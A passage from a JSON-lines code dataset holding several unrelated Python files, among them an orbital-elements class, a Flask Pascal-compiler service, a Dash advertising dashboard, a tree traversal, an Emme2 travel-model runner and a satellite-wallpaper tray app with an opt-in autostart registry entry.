degrees.\n mean_anomaly_error : float\n The error on the mean anomaly of the orbit provided, in degrees.\n epoch_julian_day : float\n The epoch where for these osculating orbital elements. This value is\n in Julian days.\n \"\"\"\n\n def __init__(\n self,\n semimajor_axis: float,\n eccentricity: float,\n inclination: float,\n longitude_ascending_node: float,\n argument_perihelion: float,\n mean_anomaly: float,\n epoch_julian_day: float,\n semimajor_axis_error: float = None,\n eccentricity_error: float = None,\n inclination_error: float = None,\n longitude_ascending_node_error: float = None,\n argument_perihelion_error: float = None,\n mean_anomaly_error: float = None,\n ) -> None:\n \"\"\"The orbital elements are already provided for this custom\n solution. If errors may optionally be provided.\n\n Parameters\n ----------\n semimajor_axis : float\n The semi-major axis of the orbit provided, in AU.\n eccentricity : float\n The eccentricity of the orbit provided.\n inclination : float\n The angle of inclination of the orbit provided, in degrees.\n longitude_ascending_node : float\n The longitude of the ascending node of the orbit\n provided, in degrees.\n argument_perihelion : float\n The argument of perihelion of the orbit provided, in degrees.\n mean_anomaly : float\n The mean anomaly of the orbit provided, in degrees.\n epoch_julian_day : float\n The epoch where for these osculating orbital elements. This value is\n in Julian days.\n semimajor_axis_error : float, default = None\n The error on the semi-major axis of the orbit provided, in AU.\n eccentricity_error : float, default = None\n The error on the eccentricity of the orbit provided.\n inclination_error : float, default = None\n The error on the angle of inclination of the orbit provided, in degrees.\n longitude_ascending_node_error : float, default = None\n The error on the longitude of the ascending node of the orbit\n provided, in degrees.\n argument_perihelion_error : float, default = None\n The error on the argument of perihelion of the orbit\n provided, in degrees.\n mean_anomaly_error : float, default = None\n The error on the mean anomaly of the orbit provided, in degrees.\n\n Returns\n -------\n None\n \"\"\"\n # Given that all of the values were provided to us, we just\n # re-encapsulate it.\n\n # The orbital elements must be defined so they are already numbers.\n self.semimajor_axis = float(semimajor_axis)\n self.eccentricity = float(eccentricity)\n self.inclination = float(inclination)\n self.longitude_ascending_node = float(longitude_ascending_node)\n self.argument_perihelion = float(argument_perihelion)\n self.mean_anomaly = float(mean_anomaly)\n self.epoch_julian_day = float(epoch_julian_day)\n\n # Errors are optional, if they were not provided, it is most\n # appropriate for them to be NaN.\n self.semimajor_axis_error = (\n np.nan if semimajor_axis_error is None else float(semimajor_axis_error)\n )\n self.eccentricity_error = (\n np.nan if eccentricity_error is None else float(eccentricity_error)\n )\n self.inclination_error = (\n np.nan if inclination_error is None else float(inclination_error)\n )\n self.longitude_ascending_node_error = (\n np.nan\n if longitude_ascending_node_error is None\n else float(longitude_ascending_node_error)\n )\n self.argument_perihelion_error = (\n np.nan\n if argument_perihelion_error is None\n else float(argument_perihelion_error)\n )\n self.mean_anomaly_error = (\n np.nan if mean_anomaly_error is None else float(mean_anomaly_error)\n )\n\n # All done.\n return None\n","repo_name":"psmd-iberutaru/OpihiExarata","sub_path":"src/opihiexarata/orbit/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":5762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42623341489","text":"import tkinter as tk\nfrom tkinter import ttk\n\n\nclass ValidatedMixin:\n \"\"\" Adds a validation functionality to an input widget.\n \"\"\"\n def __init__(self, *args, error_var=None, **kwargs):\n self.error = error_var or tk.StringVar()\n super().__init__(*args, **kwargs)\n\n vcmd = self.register(self._validate)\n invcmd = self.register(self._invalid)\n self.configure(\n validate='all',\n validatecommand=(vcmd, '%P', '%s', '%S', '%V', '%i', '%d'),\n invalidcommand=(invcmd, '%P', '%s', '%S', '%V', '%i', '%d')\n )\n\n \n def _toggle_error(self, on=False):\n self.configure(foreground=('red' if on else 'black'))\n\n\n def _validate(self, proposed, current, char, event, index, action):\n self.error.set('')\n self._toggle_error()\n valid=True\n # If the widget is disabled, don't validate\n state = str(self.configure('state')[-1])\n if state == tk.DISABLED:\n return valid\n if event == 'focusout':\n valid = self._focusout_validate(event=event)\n elif event == 'key':\n valid = self._key_validate(\n proposed=proposed,\n current=current,\n char=char,\n event=event,\n index=index,\n action=action\n )\n return valid\n \n\n def _focusout_validate(self, **kwargs):\n return True\n \n\n def _key_validate(self, **kwargs):\n return True\n\n\n def _invalid(self, proposed, current, char, event, index, action):\n if event == 'focusout':\n self._focusout_invalid(event=event)\n elif event == 'key':\n self._key_invalid(\n proposed=proposed,\n current=current,\n char=char,\n event=event,\n index=index,\n action=action\n )\n\n\n def _focusout_invalid(self, **kwargs):\n \"\"\" Handle invalid data on a focus event.\n \"\"\"\n self._toggle_error(True)\n\n\n def _key_invalid(self, **kwargs):\n \"\"\" Handle invalid data on a key event. \n By default, do nothing.\n \"\"\"\n pass\n\n\n def trigger_focusout_validation(self):\n valid = self._validate('', '', '', 'focusout', '', '')\n if not valid:\n self._focusout_invalid(event='focusout')\n return valid\n","repo_name":"mooretm/study_database_sqlite","sub_path":"mixins/validatedmixin.py","file_name":"validatedmixin.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"1126962856","text":"# 导入Flask类库\nfrom flask import Flask,jsonify,request\nimport time,random\nimport os.path as pth,os\n# 创建应用实例\napp = Flask(__name__)\n# 视图函数(路由)\n\n@app.route(\"/v2/example\")\ndef initData():\n return open(\"Data/example/wk.pas\").read()\n\n@app.route(\"/v2/compile\",methods=['POST'])\ndef v2_compile():\n from Execute.compile import compile\n workId=str(time.time()*1000)+\"a\"+str(random.randint(10000,99999))\n workDir=pth.join('Data',workId)\n srcPth=pth.join(workDir,'work.pas')\n try:\n os.makedirs(workDir)\n fw=open(srcPth,'wb+')\n fw.write(request.data)\n fw.close()\n except Exception as e:\n os.remove(workDir)\n return '参数错误'\n try:\n ret=compile(srcPth)\n if ret[0]:\n data={\n 'id':workId,\n 'state':'suc',\n 'ast':ret[1],\n 'code':ret[2],\n 'warning':ret[3],\n 'error':[],\n }\n else:\n data={\n 'id':workId,\n 'state':'err',\n 'error':ret[1],\n 'warning':ret[2],\n }\n return jsonify(data)\n except Exception as e:\n return '编译c错误'+str(e)\n\n@app.route(\"/v2/execute\",methods=['POST'])\ndef v2_execute():\n try:\n import json as js\n data=js.loads(request.data)\n except Exception as e:\n return \"参数错误\"+str(e)\n workId=data['id']\n workDir=pth.join('Data',workId)\n inPth=pth.join(workDir,'work.in')\n codePth=pth.join(workDir,'work.c')\n try:\n fw=open(inPth,'w+')\n fw.write(data['input'])\n fw.close()\n except Exception as e:\n print(e)\n return \"会话已超时,请重新compile\"\n\n from Execute.execute import execute\n try:\n ret=execute(codePth,inPth)\n data={\n 'id':workId,\n 'output':ret[1],\n }\n return jsonify(data)\n except Exception as e:\n return '编译c错误'+str(e)\n \n\n# 启动服务\nif __name__ == '__main__':\n app.run(debug = True,threaded=True,host='0.0.0.0')","repo_name":"wyjBot/Pascal_complier","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"44034025815","text":"from collections import deque\r\ns = int(input())\r\ndp = [[0 for _ in range(s+1)] for _ in range(s+1)]\r\nq = deque()\r\nq.append((1,0))\r\nwhile q:\r\n x, y = q.popleft()\r\n if dp[x][x] == 0: # 이모티콘을 복사해서 클립보드에 저장\r\n dp[x][x] = dp[x][y]+1\r\n q.append((x,x))\r\n if x+y <= s and dp[x+y][y] == 0: # 클립보드의 모든 이모티콘을 화면에 붙여넣기\r\n dp[x+y][y] = dp[x][y]+1\r\n q.append((x+y, y))\r\n if x-1 >= 0 and dp[x-1][y] == 0: # 화면의 이모티콘 중 하나를 삭제\r\n dp[x-1][y] = dp[x][y]+1\r\n q.append((x-1, y))\r\nprint(min(dp[s][1:]))\r\n","repo_name":"GluteusStrength/Algorithm","sub_path":"백준/Gold/14226. 이모티콘/이모티콘.py","file_name":"이모티콘.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8737153089","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: member_invite_menu\n Description :\n Author : mi\n date: 2021/4/1\n-------------------------------------------------\n Change Activity:\n 2021/4/1:\n-------------------------------------------------\n\"\"\"\n__author__ = 'mi'\n\nimport time\n\nfrom homework_app2.page.base_page import BasePage\nfrom homework_app2.page.contact_add import ContactAdd\n\n\nclass MemberInviteMenu(BasePage):\n def goto_contact_add(self):\n self.steps('../page_driver/contact_add.yaml')\n return ContactAdd(self._driver)\n\n def verity_toast(self):\n return self.get_toast_text()","repo_name":"ziloukd/hogwarts_lwy","sub_path":"homework_app2/page/member_invite_menu.py","file_name":"member_invite_menu.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39951899800","text":"import dash\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport pandas as pd\nimport plotly.express as px\nfrom datetime import datetime\nimport numpy as np\n\ndata = pd.read_csv('data/IntraCampaign_target_mapping_v0.8.csv', encoding='euc-kr')\ndf = pd.DataFrame(data=data)\ndf['cnt'] = 0\ndf['cnt2'] = 0\ndf1 = df.copy()\nfor i in range(0, 5914):\n temp = 0\n for j in range(26, 33):\n if df1.loc[i][j] != 0.0:\n temp = temp + 1\n else:\n continue\n df1['cnt'][i] = temp\nfor i in range(0, 5914):\n temp = 0\n for j in range(26, 33):\n if df1.loc[i][j] != 0.0:\n temp = temp + 1\n else:\n continue\n if temp < 4:\n df1['cnt2'][i] = temp\n else:\n df1['cnt2'][i] = 4\ndef getBudget(x):\n if x<10000000:\n return 0\n elif x>=10000000 and x<20000000:\n return 1\n elif x>=20000000 and x<30000000:\n return 2\n elif x>=30000000 and x<40000000:\n return 3\n elif x>=40000000 and x<50000000:\n return 4\n elif x>=50000000 and x<60000000:\n return 5\n elif x>=60000000 and x<70000000:\n return 6\n elif x>=70000000 and x<80000000:\n return 7\n elif x>=80000000 and x<90000000:\n return 8\n elif x>=90000000 and x<100000000:\n return 9\n else:\n return 10\ndf1['Budget'] = df1['CampBudget'].apply(getBudget)\nidx = df1[df1['month']==99].index\ndf1.drop(idx, inplace=True)\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\nserver = app.server\napp.layout = html.Div([\n html.H1('DASH Practice'),\n html.Div([\n html.H6(\n datetime.today()\n ),\n html.H6(\n 'DATA : IntraCampaign_target_mapping_v0.8.csv(2021-08-11)'\n )\n ]),\n html.Br(),\n html.Div([\n # 메뉴가 들어갈 자리\n dcc.Dropdown(id='ddl_x', options=[{'label':k, 'value':k} for k in ['cnt', 'cnt2', 'Level1CdNm', 'month', 'Budget', 'BrandNo']],\n value='cnt', style={'width':'130px'}),\n html.Br(),\n dcc.Dropdown(id='ddl_y', options=[{'label':k, 'value':k} for k in ['cnt', 'Level1CdNm', 'month', 'Budget', 'dist']],\n value='Level1CdNm', style={'width':'130px'}),\n html.Br(),\n html.H5('매체사용개수(1~7)'),\n dcc.Slider(\n id='slider1',\n min = df1['cnt'].min(),\n max = df1['cnt'].max(),\n value=df1['cnt'].min(),\n marks={str(cnt):str(cnt) for cnt in df1['cnt'].unique()},\n step=None\n ),\n html.H5('매체사용개수(1, 2, 3, 3over)'),\n dcc.Slider(\n id='slider1_2',\n min = df1['cnt2'].min(),\n max = df1['cnt2'].max(),\n value=df1['cnt2'].min(),\n marks={str(cnt):str(cnt) for cnt in df1['cnt2'].unique()},\n step=None\n ),\n html.H5('예산구간'),\n dcc.Slider(\n id='slider2',\n min = df1['Budget'].min(),\n max = df1['Budget'].max(),\n value = df1['Budget'].min(),\n marks={str(Budget):str(Budget) for Budget in df1['Budget'].unique()},\n step=None\n ),\n dcc.RadioItems(\n id='impressions',\n options=[{'label':'impressions', 'value':'impressions'}],\n value='impressions'\n )\n ], style={'display':'inline-block', 'width':'300px', 'textAlign':'center'}),\n html.Div([\n # 그래프가 표현되는 자리\n html.H3('graph',\n style={'textAlign':'center'}),\n dcc.Graph(\n id='graph1'\n )\n ], style={'display':'inline-block', 'width':'500px', 'margin':'0px'}),\n html.Div([\n html.H3('graph2',\n style={'textAlign':'center'}),\n dcc.Graph(\n id='graph2'\n )\n ], style={'display':'inline-block', 'width':'650px'}),\n html.Div([\n html.H3('graph3',\n style={'textAlign':'center'}),\n dcc.Graph(\n id='graph3'\n )\n ], style={'display':'inline-block', 'width':'1100px'})\n])\n\n\n@app.callback(\n [Output('graph1', 'figure'),\n Output('graph2', 'figure')],\n [Input('ddl_x', 'value'),\n Input('ddl_y', 'value'),\n Input('slider1', 'value'),\n Input('slider1_2', 'value'),\n Input('slider2', 'value')]\n)\ndef update_figure1(ddl_x_value, ddl_y_value, cnts, cnts2, budgets):\n if ddl_x_value == 'cnt':\n if ddl_y_value != 'dist':\n filtered_df1 = df1[df1['cnt']==cnts]\n fig = px.bar(filtered_df1, x=df1[df1['cnt']==cnts][ddl_y_value].unique(), y=df1[df1['cnt']==cnts].groupby(ddl_y_value).size())\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(filtered_df1, names=df1[df1['cnt']==cnts][ddl_y_value].unique() ,values=df1[df1['cnt']==cnts].groupby(ddl_y_value).size())\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n else:\n filtered_df1 = df1[df1['cnt'] == cnts]\n fig = px.bar(x=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n y=[filtered_df1['naver'].mean(), filtered_df1['facebook'].mean(), filtered_df1['instagram'].mean(),\n filtered_df1['gdn'].mean(), filtered_df1['kakao'].mean(), filtered_df1['youtube'].mean(),\n filtered_df1['etc'].mean()])\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(names=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n values=[filtered_df1['naver'].mean(), filtered_df1['facebook'].mean(), filtered_df1['instagram'].mean(),\n filtered_df1['gdn'].mean(), filtered_df1['kakao'].mean(), filtered_df1['youtube'].mean(),\n filtered_df1['etc'].mean()])\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n elif ddl_x_value == 'cnt2':\n if ddl_y_value != 'dist':\n filtered_df1 = df1[df1['cnt2']==cnts2]\n fig = px.bar(filtered_df1, x=df1[df1['cnt2']==cnts2][ddl_y_value].unique(), y=df1[df1['cnt2']==cnts2].groupby(ddl_y_value).size())\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(filtered_df1, names=df1[df1['cnt2']==cnts2][ddl_y_value].unique() ,values=df1[df1['cnt2']==cnts2].groupby(ddl_y_value).size())\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n else:\n filtered_df1 = df1[df1['cnt2'] == cnts2]\n fig = px.bar(x=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n y=[filtered_df1['naver'].mean(), filtered_df1['facebook'].mean(), filtered_df1['instagram'].mean(),\n filtered_df1['gdn'].mean(), filtered_df1['kakao'].mean(), filtered_df1['youtube'].mean(),\n filtered_df1['etc'].mean()])\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(names=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n values=[filtered_df1['naver'].mean(), filtered_df1['facebook'].mean(), filtered_df1['instagram'].mean(),\n filtered_df1['gdn'].mean(), filtered_df1['kakao'].mean(), filtered_df1['youtube'].mean(),\n filtered_df1['etc'].mean()])\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n elif ddl_x_value == 'Budget':\n if ddl_y_value != 'dist':\n filtered_df2 = df1[df1['Budget']==budgets]\n fig = px.bar(filtered_df2, x=df1[df1['Budget']==budgets][ddl_y_value].unique(), y=df1[df1['Budget']==budgets].groupby(ddl_y_value).size())\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(filtered_df2, names=df1[df1['Budget'] == budgets][ddl_y_value].unique(),\n values=df1[df1['Budget'] == budgets].groupby(ddl_y_value).size())\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n else:\n filtered_df2 = df1[df1['Budget'] == budgets]\n fig = px.bar(x=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n y=[filtered_df2['naver'].mean(), filtered_df2['facebook'].mean(), filtered_df2['instagram'].mean(),\n filtered_df2['gdn'].mean(), filtered_df2['kakao'].mean(), filtered_df2['youtube'].mean(),\n filtered_df2['etc'].mean()])\n fig.update_layout(transition_duration=500)\n fig2 = px.pie(names=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n values=[filtered_df2['naver'].mean(), filtered_df2['facebook'].mean(), filtered_df2['instagram'].mean(),\n filtered_df2['gdn'].mean(), filtered_df2['kakao'].mean(), filtered_df2['youtube'].mean(),\n filtered_df2['etc'].mean()])\n fig2.update_layout(transition_duration=500)\n return fig, fig2\n else:\n return None\n\n@app.callback(\n Output('graph3', 'figure'),\n [Input('impressions', 'value'),\n Input('slider1', 'value')]\n)\ndef update_graph3(radio_value, cnts):\n filtered_df = df1[np.logical_and(df1[radio_value]>0, df1['E_'+str(radio_value)]>0)]\n filtered_df = filtered_df[filtered_df['cnt'] == cnts]\n filtered_df[str(radio_value)+'_ratio'] = filtered_df[radio_value]/filtered_df['E_'+str(radio_value)]\n fig = px.line(x=['naver', 'facebook', 'instagram', 'gdn', 'kakao', 'youtube', 'etc'],\n y=[filtered_df[filtered_df['naver']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['facebook']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['instagram']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['gdn']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['kakao']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['youtube']>0][str(radio_value)+'_ratio'].mean(),\n filtered_df[filtered_df['etc']>0][str(radio_value)+'_ratio'].mean()])\n return fig\n\nif __name__ == '__main__':\n app.run_server()","repo_name":"kyung-sik/project1","sub_path":"dashex4.py","file_name":"dashex4.py","file_ext":"py","file_size_in_byte":10567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"27895142097","text":"from trees.node import Node\n\n\ndef morris_traversal(root):\n cur = root\n while cur:\n if cur.left is None:\n print(cur.val)\n cur = cur.right\n else:\n cur2 = cur.left\n while cur2.right != cur and cur2.right is not None:\n cur2 = cur2.right\n if cur2.right == cur:\n cur2.right = None\n print(cur.val)\n cur = cur.right\n else:\n cur2.right = cur\n cur = cur.left\n\n\nif __name__ == \"__main__\":\n node1 = Node(1)\n node2 = Node(2)\n node3 = Node(3)\n node4 = Node(4)\n node5 = Node(5)\n node6 = Node(6)\n node7 = Node(7)\n\n node4.left = node2\n node2.left = node1\n node2.right = node3\n node4.right = node6\n node6.left = node5\n node6.right = node7\n print(morris_traversal(node4))\n\n","repo_name":"stgleb/algorithms-and-datastructures","sub_path":"trees/morris_traversal.py","file_name":"morris_traversal.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28513702217","text":"# Opus/UrbanSim urban simulation software.\r\n# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington\r\n# See opus_core/LICENSE \r\n\r\nimport re\r\nfrom opus_core.resources import Resources\r\nfrom numpy import array, float32, ones\r\nimport os\r\nfrom opus_core.logger import logger\r\nfrom opus_emme2.models.abstract_emme2_travel_model import AbstractEmme2TravelModel\r\nfrom opus_core.store.attribute_cache import AttributeCache\r\nfrom opus_core.session_configuration import SessionConfiguration\r\nfrom opus_core.store.sftp_flt_storage import redirect_sftp_url_to_local_tempdir\r\n\r\nclass RunTravelModel(AbstractEmme2TravelModel):\r\n \"\"\"Run the travel model.\r\n \"\"\"\r\n \r\n def run(self, year, output_file=None):\r\n \"\"\"Runs the emme2 executables, using appropriate info from config. \r\n Assumes the emme2 input files are present. \r\n Raise an exception if the emme2 run fails. \r\n \"\"\" \r\n emme2_batch_file_path = self.get_emme2_batch_file_path(year)\r\n emme2_dir, emme2_batch_file_name = os.path.split(emme2_batch_file_path)\r\n logger.log_status('Using emme2 dir %s for year %d' % (emme2_dir, year))\r\n os.chdir(emme2_dir)\r\n if output_file is None:\r\n log_file_path = os.path.join(self.config['cache_directory'], 'emme2_%d_log.txt' % year)\r\n else:\r\n log_file_path = output_file\r\n \r\n # if log_file_path is a remote sftp URL, redirect the log file to tempdir \r\n log_file_path = redirect_sftp_url_to_local_tempdir(log_file_path)\r\n cmd = \"\"\"%(system_cmd)s\"%(emme2_batch_file_name)s\" > %(log_file_path)s\"\"\" % {\r\n 'system_cmd': self.config['travel_model_configuration'].get('system_command', 'cmd /c '),\r\n 'emme2_batch_file_name':emme2_batch_file_path, \r\n 'log_file_path':log_file_path,\r\n } \r\n logger.log_status('Running command %s' % cmd)\r\n cmd_result = os.system(cmd)\r\n if cmd_result != 0:\r\n error_msg = \"Emme2 Run failed. Code returned by cmd was %d\" % (cmd_result)\r\n logger.log_error(error_msg)\r\n raise StandardError(error_msg) \r\n\r\nif __name__ == \"__main__\":\r\n try: import wingdbstub\r\n except: pass\r\n from optparse import OptionParser\r\n from opus_core.file_utilities import get_resources_from_file\r\n parser = OptionParser()\r\n parser.add_option(\"-r\", \"--resources\", dest=\"resources_file_name\", action=\"store\", type=\"string\",\r\n help=\"Name of file containing resources\")\r\n parser.add_option(\"-y\", \"--year\", dest=\"year\", action=\"store\", type=\"int\",\r\n help=\"Year in which to 'run' the travel model\")\r\n parser.add_option(\"-o\", \"--output-file\", dest=\"output_file\", action=\"store\", type=\"string\",\r\n help=\"Output log file. If not given, it is written into urbansim cache directory.\")\r\n (options, args) = parser.parse_args()\r\n \r\n r = get_resources_from_file(options.resources_file_name)\r\n resources = Resources(get_resources_from_file(options.resources_file_name))\r\n \r\n SessionConfiguration(new_instance=True,\r\n package_order=resources['dataset_pool_configuration'].package_order, \r\n in_storage=AttributeCache())\r\n\r\n# logger.enable_memory_logging()\r\n RunTravelModel(resources).run(options.year, options.output_file)\r\n","repo_name":"psrc/urbansim","sub_path":"opus_emme2/models/run_travel_model.py","file_name":"run_travel_model.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"30713821099","text":"import pystray\nfrom PIL import Image\nfrom pystray import MenuItem\nimport main\nimport win32gui,win32con,win32api\nimport time\nfrom threading import Thread\nimport os\nimport sys\nimport base64\nfrom icon_png import img as one\n\nclass AutoRun():\n \n def __init__(self):\n zdynames = \"风暴眼.exe\" # 当前文件名的名称如:newsxiao.py\n name = os.path.splitext(zdynames)[0] # 获得文件名的前部分,如:newsxiao\n path = \"\\\"\"+os.path.dirname(os.path.realpath(sys.executable))+'\\\\'+zdynames+\"\\\"\"\n # path = os.path.abspath(os.path.dirname(__file__))+'\\\\'+zdynames # 要添加的exe完整路径如:\n # 注册表项名\n KeyName = 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'\n # 异常处理\n try:\n key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)\n # win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, \"NULL\")\n win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)\n # win32api.RegDeleteKey(key, 'tray')\n win32api.RegCloseKey(key)\n except IOError as e:\n print(e)\n print('添加成功!')\n\nclass Stop_AutoRun():\n \n def __init__(self):\n zdynames = \"风暴眼.exe\" # 当前文件名的名称如:newsxiao.py\n name = os.path.splitext(zdynames)[0] # 获得文件名的前部分,如:newsxiao\n # path = os.path.abspath(os.path.dirname(__file__))+'\\\\'+zdynames # 要添加的exe完整路径如:\n # 注册表项名\n KeyName = 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'\n # 异常处理\n try:\n key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)\n win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, \"NULL\")\n # win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)\n # win32api.RegDeleteKey(key, 'tray')\n win32api.RegCloseKey(key)\n except IOError as e:\n print(e)\n print('添加成功!')\n\n\n\ndef init():\n \n win32api.MessageBox(0,\"正在连接卫星...距初始化完成还有30秒\",\"风暴眼\",win32con.MB_ICONWARNING)\n threads=[]\n t1=Thread(target=timer,name=\"sat\",daemon=True)\n \n t2=Thread(target=icon.run,name=\"tray\")\n threads.append(t2)\n threads.append(t1)\n print(\"--------启动-------\")\n \n for t in threads:\n t.start()\n \nstatus = \"正在连接卫星..\"\nsat_status=\"fghj\"\n\ndef timer():\n t=time.localtime()\n p=0\n \n while True:\n main.sat_status=\"卫星状态\\n-----初始化-----\\n\"\n auto_set()\n time.sleep(1200)\n\ndef auto_set():\n status=\"连接卫星....\"\n icon.notify(status)\n main.action(1)\n \n status=\"卫星数据已更新\"\n icon.notify(status)\n\ndef FY4B():\n main.action(2)\n status=\"正在使用FY4B卫星数据...\"\n icon = pystray.Icon(\"name\", image, status, menu)\n \n\ndef FY4A():\n main.action(3)\n status=\"正在使用FY4A卫星数据...\"\n icon = pystray.Icon(\"name\", image, status, menu)\n \n\ndef CN():\n main.action(4)\n\ndef on_exit(icon, item):\n icon.stop()\n\ndef SatrtAutoRun():\n sat_status=\"警告:\\n\\n开机自启动功能可能引起杀毒软件报毒,这是正常现象\\n\\n此功能仍在测试阶段,可能对您的系统产生不良影响\\n\\n若开机自动启动功能对你造成了麻烦,可以在注册表中手动删除\\\"tray\\\"\\n\\n欢迎您使用未来更加稳定的版本或直接参与开发\"\n ar=win32api.MessageBox(0,sat_status,\"开机自启\",win32con.MB_YESNO|win32con.MB_ICONWARNING|win32con.MB_SYSTEMMODAL|win32con.MB_DEFBUTTON2)\n print(ar)\n # AutoRun()\n if ar==6:\n AT =AutoRun()\n status=\"开机自动启动已打开\"\n icon.notify(status)\n \n elif ar==7:\n SAT=Stop_AutoRun()\n status=\"开机自动启动已关闭\"\n icon.notify(status)\n \n\ndef StopAutoRun():\n Stop_AutoRun()\n status=\"开机自动启动已关闭\"\n icon.notify(status)\n\ndef notify(icon: pystray.Icon):\n icon.notify(\"我是消息类容\", \"消息标题\")\n\ndef show_window():\n sat_status=main.sat_status\n win32api.MessageBox(0,sat_status,\"卫星数据状态\",win32con.MB_ICONWARNING)\n\n\n\nmenu = (MenuItem(text='卫星数据更新', action=auto_set), \n MenuItem(text='FY4B风暴图', action=FY4B),\n MenuItem(text='FY4A云图', action=FY4A),\n MenuItem(text='中国区域云图', action=CN),\n MenuItem(text='卫星数据状态', action=show_window),\n MenuItem(text='开机自动启动', action=SatrtAutoRun),\n # MenuItem(text='关闭开机自动启动', action=StopAutoRun),\n MenuItem(text='退出', action=on_exit),\n )\n\ntmp = open('one.png', 'wb') #创建临时的文件\ntmp.write(base64.b64decode(one)) ##把这个one图片解码出来,写入文件中去。\ntmp.close() \n#现在就能用了,用完(加载到程序里之后)删了就好\n \n#xxxxxx #这里one.png 就已经拿出来了,可以用来。下面就可以对此进行你想要的操作了。\nimage=Image.open(\"one.png\") #做任何你想做的\n#xxxxxx \n\n# time.sleep(5)\n# image = Image.open(\"./icon.png\")\n# image = imageio.imread(\"./icon.png\")\nicon = pystray.Icon(\"name\", image,\"风暴眼 V2.0\", menu)\ninit()\n\n# icon.run()\n\n","repo_name":"JStone2934/SatelliteWallpaper","sub_path":"V2.2/tray.py","file_name":"tray.py","file_ext":"py","file_size_in_byte":5382,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"25227692529","text":"import psutil as ps\nimport sys\nimport os\nimport time\nimport numpy as np\nimport tensorflow # as tf\nimport keras\nimport csv\nfrom keras.models import Sequential, model_from_json\nfrom keras.layers import Dense, Dropout, Activation, Reshape, Conv2D, AveragePooling2D, Flatten\nfrom keras.layers import MaxPooling2D\nfrom keras.optimizers import adam\n# import save model\nfrom keras.models import load_model\n\n\n\n# get file size\n# get system memory infomation\ndef protectAvailableMemory():\n total_memory = ps.virtual_memory().total\n protect_range = int(total_memory * 0.9)\n return protect_range\n\n# get system memory\ndef getSysAvailableMemory():\n return ps.virtual_memory().available\n\n# get file size\ndef getFileMemoryInfo(file_name):\n return os.path.getsize(file_name)\n\nclass SizedReader:\n def __init__(self, fd, encoding='utf-8'):\n self.fd = fd\n self.size = 0\n self.encoding = encoding # specify encoding in constructor, with utf8 as default\n def __next__(self):\n line = next(self.fd)\n self.size += len(line)\n return line.decode(self.encoding) # returns a decoded line (a true Python 3 string)\n def __iter__(self):\n return self\n\ndef lastpointStore(file_name, data_size):\n with open(file_name, \"rb\") as csv_file:\n rowsize = SizedReader(csv_file)\n reader = csv.reader(rowsize)\n for row in reader:\n pos = rowsize.size\n if pos > data_size:\n with open(\"./checkpoints/datacheckpoint.txt\", \"w\") as wf:\n wf.write(str(pos))\n break\n\n#if os.path.exists(\"./checkpoints/datacheckpoint.txt\") == True:\ndef lastpointLoad():\n with open(\"./checkpoints/datacheckpoint.txt\", \"r\") as df:\n reader = df.read()\n last = int(reader)\n #last = df.seek(int(reader), 0)\n return last\n\ndef DataTestPreprocess(data_train, file_name = None):\n with open(file_name, \"r\") as tf:\n reader = tf.readlines()\n Lines = [line.strip().split(\",\") for line in reader[1:]]\n del reader\n data_test = np.array(Lines)\n del Lines\n # modified size to fit shape\n x_test 